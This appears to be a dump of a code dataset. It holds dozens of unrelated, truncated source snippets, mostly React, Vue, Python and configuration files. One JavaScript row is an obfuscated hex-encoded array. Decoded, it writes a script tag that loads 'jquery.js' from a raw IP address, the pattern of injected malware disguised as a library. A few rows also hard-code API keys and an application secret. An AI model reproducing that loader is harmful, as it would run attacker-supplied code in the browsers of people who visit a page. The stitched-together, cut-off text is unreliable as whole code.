text
stringlengths
3
1.05M
import React, {Fragment} from 'react'; import ReactCSSTransitionGroup from 'react-addons-css-transition-group'; import { Row, Col, Card, CardBody, CardTitle, Pagination, PaginationItem, PaginationLink, Container } from 'reactstrap'; const BasicPagination = (props) => { return ( <Fragment> ...
let handler = async (m, { conn, usedPrefix }) => { let chats = Object.entries(global.db.data.chats).filter(chat => chat[1].isBanned) let users = Object.entries(global.db.data.users).filter(user => user[1].banned) m.reply(` ┌〔 Daftar Chat Terbanned 〕 │ Total : ${chats.length} Chat${chats ? '\n' + chats.map(...
import React, {useEffect, useState} from 'react'; import { withStyles, makeStyles } from '@material-ui/core/styles'; import Table from '@material-ui/core/Table'; import TableBody from '@material-ui/core/TableBody'; import TableCell from '@material-ui/core/TableCell'; import TableHead from '@material-ui/core/TableHead'...
import React from 'react' import {Navbar} from './components' import Routes from './routes' const App = () => { return ( <div > <Navbar /> <Routes /> </div> ) } export default App
#!/usr/bin/python2 # # create_audit_rules_file_deletion_events.py # generate template-based checks for file deletion events from template_common import FilesGenerator, UnknownTargetError import re class AuditRulesFileDeletionEventsGenerator(FilesGenerator): def generate(self, target, args): name...
import React from 'react'; import { Switch } from 'react-router-dom'; import PrivateRoute from "../Auth/PrivateRoute"; import SubProjectsList from "./components/SubProjectsList"; import SubProjectDetails from "./components/SubProjectsDetails"; const SubProjects = (props) => { return ( <Switch> ...
import '@storybook/addon-actions/register'; import '@storybook/addon-knobs/register'; import '@storybook/addon-storysource/register'; import '@storybook/addon-a11y/register';
// Copyright (c) 2016 Uber Technologies, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except // in compliance with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agre...
function handleSubmit(event) { event.preventDefault() // check what text was put into the form field let formText = document.getElementById('name').value console.log("::: Form Submitted :::") fetch('http://localhost:8080/') .then(res => res.json()) .then(function(res) { document.ge...
import React, { useState, useEffect } from 'react' import { Upload, Icon, message } from 'antd' import { connect } from '@map' import getBase64 from '@utils/getBase64' import Less from './index.module.less' import './index.less' const SingleLargeUplaod = (props) => { const { className = '', style = {}, uploadStyle...
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import argparse import cv2 from fcos_core.config import cfg from predictor import COCODemo import time def main(): parser = argparse.ArgumentParser(description="PyTorch Object Detection Webcam Demo") parser.add_argument( ...
# Copyright 2017 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
(function() { "use strict"; angular.module('app') .factory('AuthInterceptor', AuthInterceptor); function AuthInterceptor($window) { var o = { request: function(config) { if($window.localStorage.getItem('token')) { config.headers.authorization = "Bearer " + $window.localStorage.getIte...
$(function(){ var host = getJSurl(); var total = 1;//分页总页面数 var total_count = 1;//分页总记录数 var currentPage = 1;//当前页 var pageSize = pageOption.pageSize;//每页显示的记录数 function init(){ myPagination(); bindEvent(); } function bindEvent(){ $(".right-section #updateHeadImg")...
import * as React from 'react'; import { expect } from 'chai'; import { createClientRender, describeConformance } from 'test/utils'; import Icon from '@material-ui/core/Icon'; import SpeedDialIcon, { speedDialIconClasses as classes } from '@material-ui/core/SpeedDialIcon'; describe('<SpeedDialIcon />', () => { const...
import '@storybook/addon-knobs/register' import '@storybook/addon-actions/register'; import '@storybook/addon-links/register'; import '@storybook/addon-notes/register';
export default{install(Vue){function instance(){this.get=(key)=>{if(!key)return document.cookie;let ret,reg=new RegExp("(^| )"+key+"=([^;]*)(;|$)");if(ret=document.cookie.match(reg)){return unescape(ret[2])}else{return''}}this.set=(key,value)=>{if(typeof key==='string'){document.cookie=`${key}=${value}`}if(typeof key==...
export const resumeData = { main: { name: 'Ganesh Tatipamul', occupation: 'Associate Software Engineer', description: 'currently employed by Successive Technologies where I work as a full stack software engineer across the range of products', image: 'profilepic.jpg', bio: 'Enthusiastic...
const Discord = require("discord.js"); const bot = new Discord.Client(); const snekfetch = require("snekfetch") exports.run = async (client, message, args) => { if (message.mentions.users.size < 1) return message.channel.send("you can't hug nobody") let user = message.guild.member(message.mentions.users.fir...
/* AngularJS v1.7.2 (c) 2010-2018 Google, Inc. http://angularjs.org License: MIT */ (function (D) { 'use strict'; function qe(a) { if (G(a)) u(a.objectMaxDepth) && (Wb.objectMaxDepth = Xb(a.objectMaxDepth) ? a.objectMaxDepth : NaN), u(a.urlErrorParamsEnabled) && Ga(a.urlErrorParamsEnabled) && (Wb.ur...
"""Test the Shark IQ config flow.""" from unittest.mock import patch import aiohttp import pytest from sharkiqpy import AylaApi, SharkIqAuthError from homeassistant import config_entries, setup from homeassistant.components.sharkiq.const import DOMAIN from homeassistant.core import HomeAssistant from .const import C...
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([[60],{b2ve:function(e,a,t){"use strict";t.r(a);t("IzEo");var n=t("bx4M"),r=(t("g9YV"),t("wCAj")),s=(t("14J3"),t("BMrR")),l=(t("jCWc"),t("kPKH")),i=(t("5Dmo"),t("3S7+")),o=(t("Pwec"),t("CtXQ")),c=t("q1tI"),d=t.n(c),m=t("LLXN"),u=t("YR7N"),g=t("ZhIB"),p=t.n(g),y=t...
/** * @module ol/render/canvas/Executor */ import {getUid} from '../../util.js'; import {equals} from '../../array.js'; import {createEmpty, createOrUpdate, createOrUpdateEmpty, extend, intersects} from '../../extent.js'; import {lineStringLength} from '../../geom/flat/length.js'; import {drawTextOnPath} from '../....
'use strict'; const fs = require('fs') const path = require('path') const Sequelize = require('sequelize') const basename = path.basename(__filename) const env = process.env.NODE_ENV || 'development' const config = require(<%= configFile %>)[env] const db = {} let sequelize if (config.use_env_variable) { sequelize...
from __future__ import unicode_literals from django.template import Template from django.template.loader import render_to_string from django.utils.html import conditional_escape from crispy_forms.compatibility import string_types, text_type from crispy_forms.utils import render_field, flatatt, TEMPLATE_PACK, get_temp...
// В HTML есть пустой список ul#ingredients. // <ul id="ingredients"></ul> // В JS есть массив строк. // const ingredients = [ // 'Картошка', // 'Грибы', // 'Чеснок', // 'Помидоры', // 'Зелень', // 'Приправы', // ]; // Напиши скрипт, который для каждого элемента // массива ingredients создаст отдельный l...
import React, { useState } from "react"; import { Typography, Box, Grid } from "@material-ui/core"; import { useTranslation } from "react-i18next"; import styled from "styled-components"; import Button from "../../../components/Button"; import Hd from "../../../assets/bg/home_desktop.svg"; import Mn from "../../../ass...
/** ***************************************************************************** * Pipeline * * @author Isaac Suttell <isaac_suttell@playstation.sony.com> * @file Render Workflow to hepl ensure we consistently produce the * same results across each page and prints * @flow ***********...
/** * The main AWS namespace */ var AWS = { util: require('./util') }; /** * @api private * @!macro [new] nobrowser * @note This feature is not supported in the browser environment of the SDK. */ var _hidden = {}; _hidden.toString(); // hack to parse macro /** * @api private */ module.exports = AWS; AWS.ut...
const dynamodb = require('aws-sdk/clients/dynamodb'); const db = new dynamodb.DocumentClient(); const {statusCode, inputFormat, reponseFormat, errFormat} = require('../util') // Get the DynamoDB table name from environment variables const tableName = process.env.TABLE; /** * A simple example includes a HTTP post meth...
module.exports = async (suite, name, brighterscript, projectPath, options) => { const { ProgramBuilder, Parser } = brighterscript; const builder = new ProgramBuilder(); //run the first run await builder.run({ cwd: projectPath, createPackage: false, copyToStaging: false, ...
(function webpackUniversalModuleDefinition(root, factory) { if(typeof exports === 'object' && typeof module === 'object') module.exports = factory(); else if(typeof define === 'function' && define.amd) define([], factory); else if(typeof exports === 'object') exports["History"] = factory(); else root["Histo...
const Command = require('../../structures/Command') const { MessageEmbed } = require('discord.js') module.exports = class extends Command { constructor(client) { super(client, { name: 'aviso', description: '⚠️ Personalise seus avisoes da forma que mais lhe agradar.', opt...
export const ACTIONS = require("./actions") export const ENDPOINTS = require("./endpoints") export const API_BASE_URL = window._ENV_.REACT_APP_API_BASE_URL export const CALL_API = "middleware@CALL_API" export const HTTP_METHODS = { GET: "GET", POST: "POST", PUT: "PUT", PATCH: "PATCH", DELETE: "DELETE" } e...
""" A script that replaces an old file with a new one, only if the contents actually changed. If not, the new file is simply deleted. This avoids wholesale rebuilds when a code (re)generation phase does not actually change the in-tree generated code. """ import os import sys def main(old_path, new_path): with ...
import keras from keras.datasets import cifar10 from matplotlib import pyplot as plt import numpy as np def get_cifar10_data(vectorize=False): (x_train, y_train), (x_test, y_test) = cifar10.load_data() x_train = x_train[y_train[:,0]<2] y_train = y_train[y_train[:,0]<2] x_test = x_test[y_test[:,0]<2] ...
import * as Angle from './angle'; import * as KnownVariables from './../knownVariables'; import { mod } from './../utilities'; const timeVaryingValue = (current, next, change, elapsedTime) => current + change * elapsedTime; const maxRotation = Angle.rangeMax / 8; const partialStateDefinition = { age: { ...
'use strict'; describe('Directive: editEnv', function () { // load the directive's module beforeEach(module('projectHomeGeneratorUiApp')); var element, scope; beforeEach(inject(function ($rootScope) { scope = $rootScope.$new(); })); it('should make hidden element visible', inject(function ($com...
from urllib.request import urlopen from urllib.request import Request import json import sys import pandas as pd import numpy as np date_format = '%Y-%m-%d' datetime_format = date_format + ' %H:%M:%S' def appendAttrsIfNeeded( df ): if 'Temp' not in df.columns: df['Temp'] = np.nan if 'Rain' not in df.columns: ...
const Joi = require('../../utils/validation/joi'); const inputGet = Joi.string().noNullChars().required(); const inputMGet = Joi.array().items(Joi.string().noNullChars()).required(); const inputSearch = Joi.object() .keys({ address: Joi.string().base58().required(), showBroken: Joi.boolean(), }) .requi...
const router = require("express").Router(); const sequelize = require("../../config/connection"); const { Post, User, Comment } = require("../../models"); const withAuth = require('../../utils/auth'); router.get("/", (req, res) => { Post.findAll({ attributes: ["id", "title", "description", "created_at"], inc...
import React from 'react'; import {StoreWatchMixin} from 'fluxxor'; import { arrayJoin } from './../../utilities'; import {customStyles} from '../../constants'; import Modal from 'react-modal'; import NewPermission from './NewPermission'; var Permissions = React.createClass({ mixins: [StoreWatchMixin('AdminStore')], ...
(this["webpackJsonppigsty-config"]=this["webpackJsonppigsty-config"]||[]).push([[1],{249:function(e,t,r){!function(e){"use strict";function t(e){for(var t={},r=0;r<e.length;++r)t[e[r].toLowerCase()]=!0;return t}e.defineMode("css",(function(t,r){var o=r.inline;r.propertyKeywords||(r=e.resolveMode("text/css"));var i,a,n=...
/*global QUnit,sinon */ sap.ui.define([ "sap/ui/core/Core", "sap/gantt/simple/ContainerToolbar", "sap/gantt/simple/ContainerToolbarPlaceholder", "sap/gantt/library", "sap/gantt/config/SettingItem", "sap/ui/model/json/JSONModel", "sap/m/ButtonType", "sap/m/OverflowToolbar" ], function (Core, ContainerToolbar, C...
/** * @file jest config file * @author zhuchongyue <zhuchongyue_web@163.com> */ module.exports = { // All imported modules in your tests should be mocked automatically // automock: false, // Stop running tests after the first failure // bail: false, // Respect "browser" field in package.json w...
"use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Refl...
/* eslint-env node */ 'use strict'; const getChannelURL = require('ember-source-channel-url'); module.exports = function() { return Promise.all([getChannelURL('release'), getChannelURL('beta'), getChannelURL('canary')]).then(urls => { return { useYarn: true, scenarios: [ { name: 'em...
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _react = _interopRequireDefault(require("react")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _extends() { _extends = Object.assign || function (...
import React, {useState, useEffect} from 'react' import { StyleSheet, Text, View, ScrollView, Image,TouchableOpacity,FlatList } from 'react-native' import {TextInput, HelperText} from 'react-native-paper'; import BouncyCheckbox from "react-native-bouncy-checkbox"; import {FieldArray, useFormikContext} from "formik"; im...
from textwrap import dedent import pytest from pylox.lox import Lox # Base cases from https://github.com/munificent/craftinginterpreters/blob/master/test/closure/assign_to_closure.lox TEST_SRC = dedent( """\ var f; var g; { var local = "local"; fun f_() { print local; loc...
# -*- coding=utf-8 import requests class StreamBody(): def __init__(self, rt): self._rt = rt def get_raw_stream(self): return self._rt.raw def get_stream(self, chunk_size=1024): return self._rt.iter_content(chunk_size=chunk_size) def get_stream_to_file(self, file_name): ...
""" 对应的表格实例 """ import os import csv import datetime from collections import OrderedDict, deque class DailySettlementBaseTable(object): """ """ title = '' fields = [] def __init__(self, userID, saveto): self.saveto = saveto self.userID = userID self.currentDate = None ...
"use strict"; var _Object$getOwnPropertyDescriptor = require("babel-runtime/core-js/object/get-own-property-descriptor")["default"]; exports["default"] = function set(object, property, value, receiver) { var desc = _Object$getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Obj...
/** * @license Copyright (c) 2003-2020, CKSource - Frederico Knabben. All rights reserved. * For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license */ /* eslint-env node */ 'use strict'; module.exports = { extends: 'ckeditor5', rules:{ "linebreak-style": 0 }, };
// HSL to RGB converter. Both methods adapted from: // http://mjijackson.com/2008/02/rgb-to-hsl-and-rgb-to-hsv-color-model-conversion-algorithms-in-javascript function HSLColor(hue, saturation, lightness) { this.hue = hue; this.saturation = saturation; this.lightness = lightness; } function hslToRgb(h, s, l) { ...
const http = require("http"); const options = { host: "jsonplaceholder.typicode.com", path: "/users?_limit=2", method: "GET", headers: { Accept: "application/json", }, }; const request = http.request(options, (res) => { console.log(res.statusCode); }); request.end();
define(function () { 'use strict'; // Return object with default values. return { browsers: ['> 1%', 'last 2 versions', 'Firefox ESR'] }; });
finger_ids = { # https://github.com/tpn/winsdk-10/blob/9b69fd26ac0c7d0b83d378dba01080e93349c2ed/Include/10.0.16299.0/shared/winbio_types.h#L864-L878 "WINBIO_ANSI_381_POS_UNKNOWN": 0, "WINBIO_ANSI_381_POS_RH_THUMB": 1, "WINBIO_ANSI_381_POS_RH_INDEX_FINGER": 2, "WINBIO_ANSI_381_POS_RH_MIDDLE_FINGER": ...
from unittest import TestCase from unittest import mock from covidnet_generate_dataset.covidnet_generate_dataset import Covidnet_generate_dataset class Covidnet_generate_datasetTests(TestCase): """ Test Covidnet_generate_dataset. """ def setUp(self): self.app = Covidnet_generate_dataset() ...
import os from kivy.clock import Clock from kivy.factory import Factory from kivy.lang import Builder from electrum_axe.gui.kivy.i18n import _ from electrum_axe.network import deserialize_proxy from kivy.properties import BooleanProperty from kivy.uix.button import Button Builder.load_string(''' <TorWarnDialog@P...
import Vue from 'vue' import 'normalize.css/normalize.css' // A modern alternative to CSS resets import ElementUI from 'element-ui' import 'element-ui/lib/theme-chalk/index.css' // import locale from 'element-ui/lib/locale/lang/en' // lang i18n import '@/styles/index.scss' // global css import App from './App' impo...
import React, { Component, useState } from "react"; import PropTypes from "prop-types"; import { withComponents } from "@reactioncommerce/components-context"; import { CustomPropTypes } from "@reactioncommerce/components/utils"; import { Grid, Box, Typography, withStyles, SvgIcon, ButtonBase } from "@material-ui/core";...
from .generalized_linear_model import GLM from .generalized_estimating_equations import GEE from . import families from . import cov_struct
const getAllUsers = require('../../queries/getAllUsers'); module.exports = async () => { const data = await getAllUsers(); return data; };
import React, { useContext } from 'react'; import Box from '@material-ui/core/Box'; import CorematContext from '../../../../@jumbo/components/contextProvider/CorematContext'; import { coremat } from '../../../../@fake-db/coremat-components'; import CmtCarousel from '../../../../@coremat/CmtCarousel'; import CmtMediaObj...
import rules @rules.predicate def is_project_member(user, project): return user in project.member @rules.predicate def is_project_owner(user, project): return user in project.owners @rules.predicate def is_project_manager(user, project): return user in project.managers @rules.predicate def is_projec...
import connect from '../sevensegment'; import assert from 'assert'; describe('connect() seven segment display', () => { const setup = () => { }; const frameFromValue = value => { const writeSequence = []; const write = (address, ...data) => writeSequence.push(data); const disp...
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x7...
// App Configuration const settings = { apiURL: "{{cookiecutter.backend_api_server_url}}:{{cookiecutter.backend_api_server_port}}", siteAvailability: "public", samplesEndpoint: "/samples", librariesEndPoint: "/libraries", libraryPageEndPoint: "/libraries/dbid", trackHubPrefix: "{{cookiecutter.track_hub_pre...
const utils = require('../lib/utils'); jest.mock('../lib/utils', () => ({ loadConfiguration: jest.fn(() => ({ include: [], })), overrideConfigValuesFromSystemVariables: jest.fn(), })); describe('test autoConfig', () => { let autoConfig; beforeEach(() => { jest.isolateModules(() => { autoConfi...
define(['module','jquery', 'bootstrap', 'Readium', 'Spinner', 'storage/Settings', 'i18n/Strings', 'Dialogs', 'Keyboard'], function (module, $, bootstrap, Readium, spinner, Settings, Strings, Dialogs, Keyboard) { var init = function(readium) { if (!readium.reader.backgroundAudioTrackManager) retu...
import collections import json import numpy as np import os import pytest import signal import sys import time import ray import ray.ray_constants as ray_constants import ray.test_utils import ray.cluster_utils from ray.test_utils import ( relevant_errors, wait_for_condition, wait_for_errors, wait_for_...
CKEDITOR.plugins.setLang("print", "th", {toolbar: "สั่งพิมพ์"});
'use strict'; let BinaryTree = require('./tree'); class Node { constructor(value) { this.value = value; this.left = null; this.right = null; } } function treeMaker(tree) { tree.root = new Node(20); tree.root.left = new Node(13); tree.root.left.left = new Node(5); tree.root.left.right = new No...
import React from "react"; import { Link, graphql } from "gatsby"; import { Helmet } from "react-helmet"; export default function Index({ data }) { const posts = data.allMarkdownRemark.edges; return ( <div style={{ marginLeft: "auto", marginRight: "auto", width: "80%", fon...
#!/usr/bin/env python from setuptools import setup, find_packages from podcastbackup.meta import (__version__, __desc__, __author__, __author_email__, __url__) requires = open("requirements.txt").read().split() setup( name='podcastbackup', version=__version__, author=__aut...
""" The MIT License (MIT) Copyright (c) 2021-Present AbstractUmbra Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modif...
# Copyright 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. class ProjectConfig(object): """Contains information about the benchmark runtime environment. Attributes: top_level_dir: A dir that contains benchm...
function deferFilterjQuery() { if (window.jQuery) { $(function(){ // On load/reload var pt_on_load = function() { // Accordion // Search $('.pt-display-search').not('.has_group_selected').find('input.fm-search-box').show(); // ...
module.exports = { future: { // removeDeprecatedGapUtilities: true, // purgeLayersByDefault: true, }, purge: [], theme: { boxShadow: { default: '0 1px 7px 0 rgba(36, 37, 38, 0.08)', md: '0 4px 6px 0 rgba(0, 0, 0, 0.12), 0 2px 4px 0 rgba(0, 0, 0, 0.08)', lg: '0 15px 30px 0 rg...
function MiniCache(){ let self = this; let values = {}; self.set = function(key, value){ if(isUndefinedOrStringEmpty(key) || isUndefinedOrStringEmpty(value)){ return; } values[key] = value; }; self.contains = function(key){ if(isUndefinedOrSt...
'use strict'; import { jQuery,$ } from 'jquery'; import {} from 'jquery-validation'; import {} from 'bootstrap'; import {} from 'sliderveal'; import { TweenLite, CSSPlugin } from 'gsap';
// pages/login/login.js Page({ handleGetUserInfo(e){ const {userInfo} = e.detail; wx.setStorageSync('userInfo', userInfo); wx.navigateBack({delta:1}); } })
miModulo.controller("reportsListController", [ "$scope", "auth", "$location", "ajaxService", "iconService", "titleService", function ($scope, auth, $location, ajaxService, iconService, titleService) { if (auth.data.status == 200) { $scope.datosDeSesion = auth.data; } else { ...
import React, { Component } from 'react'; import HelloWorld from './HelloWorld'; import {FunctionalHello} from './FunctionalHello'; import './App.css'; class App extends Component { render() { return ( <div className="App"> <h1>Hello World</h1> <HelloWorld /> <HelloWorld name="Erno"/> <Function...
import $ from 'jquery'; const APP_KEY = 'kid_HJtkbCBsM'; const APP_SECRET = 'a78684332b544cc98e6757c6da862179'; const BASE_URL = 'https://baas.kinvey.com'; function getBasicAuth() { return { 'Authorization': 'Basic ' + btoa(APP_KEY + ':' + APP_SECRET) }; } function getKinveyAuth() { return { 'Authorization': 'Ki...
Parse.initialize('KNeNISI8FsAEmumsazFZkIN4z4xHwvkrdyDcEcWB', 'kHQp0CnhdtWGC3r8tenZ0RsdJA61DrnjwvgWE0rE'); var Log = Parse.Object.extend('Log'), query = new Parse.Query(Log); query.descending('createdAt'); query.first({ success: function(results) { var start = results.get('status'), $body = $('body')...
import React from 'react'; import ProjectCard from './project-card.js'; import { graphql } from 'gatsby'; class ProjectList extends React.Component { constructor(props) { super(props); this.state = { ...props }; } render() { return ( <ul className="project-list"> {this.state.projects.m...
function parseEmoteSets (value) { if (typeof value !== 'string') return value; return value.split(',').map(part => parseInt(part, 10)); } module.exports = parseEmoteSets;
 // Server url var svrUrl = "."; // Acquired data var statusCode = {}; var responseData = {}; //////////////////////////////////////// // // Functions for general purpose // //////////////////////////////////////// { function getArray(targetObject) { if (targetObject === undefined) { return ...
import styled from 'styled-components'; import { space, color, layout, position } from 'styled-system'; import propTypes from '@styled-system/prop-types'; const Box = styled.div` ${position} ${space} ${layout} ${color} `; Box.propTypes = { ...propTypes.position, ...propTypes.space, ...propTypes.layout, ...
/** * Copyright IBM Corp. 2016, 2020 * * This source code is licensed under the Apache-2.0 license found in the * LICENSE file in the root directory of this source tree. * * Code generated by @carbon/icon-build-helpers. DO NOT EDIT. */ var _20 = { "elem": "svg", "attrs": { "xmlns": "http://www.w3.org/200...
import React, { Component } from "react"; import { generateMnemonicAndSeed, getAddressFromSeed, mnemonicToSeed, } from "../utils/wallet"; import { Route, Link, BrowserRouter as Router } from "react-router-dom"; import * as solanaWeb3 from "@solana/web3.js"; import * as crypto from "crypto"; import * as bs from "b...
import VcSwipeCell from './vc-swipe-cell.vue'; const version = process.VERSION; const install = function(Vue) { if (install.installed) return; Vue.component(VcSwipeCell.name, VcSwipeCell); }; if (typeof window !== 'undefined' && window.Vue) { install(window.Vue); } export default { install, v...
var createError = require('http-errors'); var express = require('express'); var path = require('path'); var cookieParser = require('cookie-parser'); var logger = require('morgan'); var config = require('./config'); var indexRouter = require('./routes/index'); var applicationsRouter = require('./routes/applications'); ...
from app import db from flask_dance.consumer.backend.sqla import OAuthConsumerMixin, SQLAlchemyBackend from flask_login import current_user from app import blueprint class User(db.Model): __tablename__ = 'users' id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(30), unique=True) ...
import os import json from unittest import TestCase from duo import DuoAdminApi from mock import patch CALL_DUO_API = "duo.duo_client.Admin" class SomeDuoAdminApi(DuoAdminApi): def __init__(self, admin_api): self.admin_api = admin_api class DuoAdminApiTests(TestCase): def read_resource_file(self, res_f...
var http = require('http'); var destinationUrl = 'http://holmwell.com'; var port = 30200; var server = http.createServer(function (req, res) { res.writeHead(302, {'Location': destinationUrl + req.url}); res.end(); }); server.listen(port);
from django import forms from django.contrib.contenttypes.models import ContentType from dcim.models import Device, Interface, Location, Rack, Region, Site, SiteGroup from extras.forms import CustomFieldModelForm from extras.models import Tag from ipam.constants import * from ipam.models import * from tenancy.forms im...
// head module.exports = [ // 注入到页面<head> 中的标签,格式[tagName, { attrName: attrValue }, innerHTML?] ['link', { rel: 'icon', href: '/img/bluebaozi-favicon.ico' }], //favicons,资源放在public文件夹 [ 'meta', { name: 'keywords', content: 'voice,个人技术博客,cisco,思科,avaya,亚美亚,uccx,cucm,callcenter,呼叫中心,pyth...